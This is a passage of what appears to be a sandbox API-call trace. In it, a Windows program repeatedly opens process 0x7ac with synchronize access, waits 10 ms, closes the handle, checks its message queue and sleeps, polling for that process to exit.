[0145.479] Sleep (dwMilliseconds=0x1) [0145.501] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.501] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.510] CloseHandle (hObject=0xad4) returned 1 [0145.510] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.510] Sleep (dwMilliseconds=0x1) [0145.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.526] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.542] CloseHandle (hObject=0xad4) returned 1 [0145.542] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.542] Sleep (dwMilliseconds=0x1) [0145.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.560] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.573] CloseHandle (hObject=0xad4) returned 1 [0145.573] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.573] Sleep (dwMilliseconds=0x1) [0145.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.589] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.604] CloseHandle (hObject=0xad4) returned 1 [0145.604] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.604] Sleep (dwMilliseconds=0x1) [0145.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.620] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.635] CloseHandle (hObject=0xad4) returned 1 [0145.635] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.635] Sleep (dwMilliseconds=0x1) [0145.651] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.651] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.667] CloseHandle (hObject=0xad4) returned 1 [0145.667] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.667] Sleep (dwMilliseconds=0x1) [0145.682] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.682] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.698] CloseHandle (hObject=0xad4) returned 1 [0145.698] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.698] Sleep (dwMilliseconds=0x1) [0145.713] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.713] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.729] CloseHandle (hObject=0xad4) returned 1 [0145.729] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.729] Sleep (dwMilliseconds=0x1) [0145.749] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.749] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.760] CloseHandle (hObject=0xad4) returned 1 [0145.760] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.760] Sleep (dwMilliseconds=0x1) [0145.776] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.776] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.791] CloseHandle (hObject=0xad4) returned 1 [0145.791] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.791] Sleep (dwMilliseconds=0x1) [0145.807] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.807] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.822] CloseHandle (hObject=0xad4) returned 1 [0145.823] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.823] Sleep (dwMilliseconds=0x1) [0145.838] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.838] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.854] CloseHandle (hObject=0xad4) returned 1 [0145.854] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.854] Sleep (dwMilliseconds=0x1) [0145.869] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.869] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.885] CloseHandle (hObject=0xad4) returned 1 [0145.885] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.885] Sleep (dwMilliseconds=0x1) [0145.900] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.901] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.916] CloseHandle (hObject=0xad4) returned 1 [0145.916] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.916] Sleep (dwMilliseconds=0x1) [0145.932] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.932] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.950] CloseHandle (hObject=0xad4) returned 1 [0145.950] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.950] Sleep (dwMilliseconds=0x1) [0145.963] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.963] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.978] CloseHandle (hObject=0xad4) returned 1 [0145.978] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.978] Sleep (dwMilliseconds=0x1) [0145.994] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.994] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.010] CloseHandle (hObject=0xad4) returned 1 [0146.010] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.010] Sleep (dwMilliseconds=0x1) [0146.025] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.025] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.041] CloseHandle (hObject=0xad4) returned 1 [0146.041] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.041] Sleep (dwMilliseconds=0x1) [0146.056] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.057] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.072] CloseHandle (hObject=0xad4) returned 1 [0146.072] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.072] Sleep (dwMilliseconds=0x1) [0146.088] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.088] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.110] CloseHandle (hObject=0xad4) returned 1 [0146.110] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.134] Sleep (dwMilliseconds=0x1) [0146.150] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.150] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.166] CloseHandle (hObject=0xad4) returned 1 [0146.166] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.166] Sleep (dwMilliseconds=0x1) [0146.189] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.189] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.197] CloseHandle (hObject=0xad4) returned 1 [0146.197] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.197] Sleep (dwMilliseconds=0x1) [0146.213] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.213] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.228] CloseHandle (hObject=0xad4) returned 1 [0146.228] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.228] Sleep (dwMilliseconds=0x1) [0146.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.260] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.275] CloseHandle (hObject=0xad4) returned 1 [0146.276] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.276] Sleep (dwMilliseconds=0x1) [0146.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.290] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.306] CloseHandle (hObject=0xad4) returned 1 [0146.306] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.306] Sleep (dwMilliseconds=0x1) [0146.322] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.322] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.340] CloseHandle (hObject=0xad4) returned 1 [0146.340] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.340] Sleep (dwMilliseconds=0x1) [0146.353] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.353] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.368] CloseHandle (hObject=0xad4) returned 1 [0146.368] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.368] Sleep (dwMilliseconds=0x1) [0146.384] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.384] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.400] CloseHandle (hObject=0xad4) returned 1 [0146.400] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.400] Sleep (dwMilliseconds=0x1) [0146.415] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.415] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.431] CloseHandle (hObject=0xad4) returned 1 [0146.431] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.431] Sleep (dwMilliseconds=0x1) [0146.449] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.449] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.462] CloseHandle (hObject=0xad4) returned 1 [0146.462] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.462] Sleep (dwMilliseconds=0x1) [0146.478] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.478] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.493] CloseHandle (hObject=0xad4) returned 1 [0146.493] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.493] Sleep (dwMilliseconds=0x1) [0146.509] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.509] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.524] CloseHandle (hObject=0xad4) returned 1 [0146.524] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.525] Sleep (dwMilliseconds=0x1) [0146.540] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.540] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.556] CloseHandle (hObject=0xad4) returned 1 [0146.556] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.556] Sleep (dwMilliseconds=0x1) [0146.571] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.571] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.589] CloseHandle (hObject=0xad4) returned 1 [0146.589] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.589] Sleep (dwMilliseconds=0x1) [0146.611] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.611] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.618] CloseHandle (hObject=0xad4) returned 1 [0146.618] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.618] Sleep (dwMilliseconds=0x1) [0146.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.634] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.649] CloseHandle (hObject=0xad4) returned 1 [0146.649] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.649] Sleep (dwMilliseconds=0x1) [0146.674] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.674] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.680] CloseHandle (hObject=0xad4) returned 1 [0146.680] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.681] Sleep (dwMilliseconds=0x1) [0146.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.696] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.712] CloseHandle (hObject=0xad4) returned 1 [0146.712] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.712] Sleep (dwMilliseconds=0x1) [0146.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.728] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.746] CloseHandle (hObject=0xad4) returned 1 [0146.746] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.746] Sleep (dwMilliseconds=0x1) [0146.766] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0146.766] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0146.781] CloseHandle (hObject=0xad0) returned 1 [0146.781] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.781] Sleep (dwMilliseconds=0x1) [0146.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.817] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0146.823] CloseHandle (hObject=0xad4) returned 1 [0146.823] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.823] Sleep (dwMilliseconds=0x1) [0146.837] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0146.837] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0146.852] CloseHandle (hObject=0xad0) returned 1 [0146.852] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.852] Sleep (dwMilliseconds=0x1) [0146.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0146.874] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0146.892] CloseHandle (hObject=0xad0) returned 1 [0146.892] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.892] Sleep (dwMilliseconds=0x1) [0146.899] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0146.899] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0146.915] CloseHandle (hObject=0xad0) returned 1 [0146.915] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.915] Sleep (dwMilliseconds=0x1) [0146.930] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0146.930] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0146.946] CloseHandle (hObject=0xad0) returned 1 [0146.961] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0146.961] Sleep (dwMilliseconds=0x1) [0146.988] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0146.989] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.005] CloseHandle (hObject=0xad4) returned 1 [0147.005] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.006] Sleep (dwMilliseconds=0x1) [0147.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.013] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.024] CloseHandle (hObject=0xad4) returned 1 [0147.024] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.024] Sleep (dwMilliseconds=0x1) [0147.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0147.043] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0147.056] CloseHandle (hObject=0xad0) returned 1 [0147.056] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.056] Sleep (dwMilliseconds=0x1) [0147.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.071] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.086] CloseHandle (hObject=0xad4) returned 1 [0147.086] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.086] Sleep (dwMilliseconds=0x1) [0147.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.102] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.117] CloseHandle (hObject=0xad4) returned 1 [0147.117] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.117] Sleep (dwMilliseconds=0x1) [0147.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.133] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.148] CloseHandle (hObject=0xad4) returned 1 [0147.149] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.149] Sleep (dwMilliseconds=0x1) [0147.175] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.175] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.180] CloseHandle (hObject=0xad4) returned 1 [0147.199] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.199] Sleep (dwMilliseconds=0x1) [0147.211] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.211] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.226] CloseHandle (hObject=0xad4) returned 1 [0147.226] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.227] Sleep (dwMilliseconds=0x1) [0147.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.242] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.258] CloseHandle (hObject=0xad4) returned 1 [0147.258] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.258] Sleep (dwMilliseconds=0x1) [0147.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.273] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.289] CloseHandle (hObject=0xad4) returned 1 [0147.289] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.289] Sleep (dwMilliseconds=0x1) [0147.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.305] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.320] CloseHandle (hObject=0xad4) returned 1 [0147.320] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.320] Sleep (dwMilliseconds=0x1) [0147.336] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.336] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.351] CloseHandle (hObject=0xad4) returned 1 [0147.351] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.351] Sleep (dwMilliseconds=0x1) [0147.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.367] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.383] CloseHandle (hObject=0xad4) returned 1 [0147.383] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.383] Sleep (dwMilliseconds=0x1) [0147.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.398] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.414] CloseHandle (hObject=0xad4) 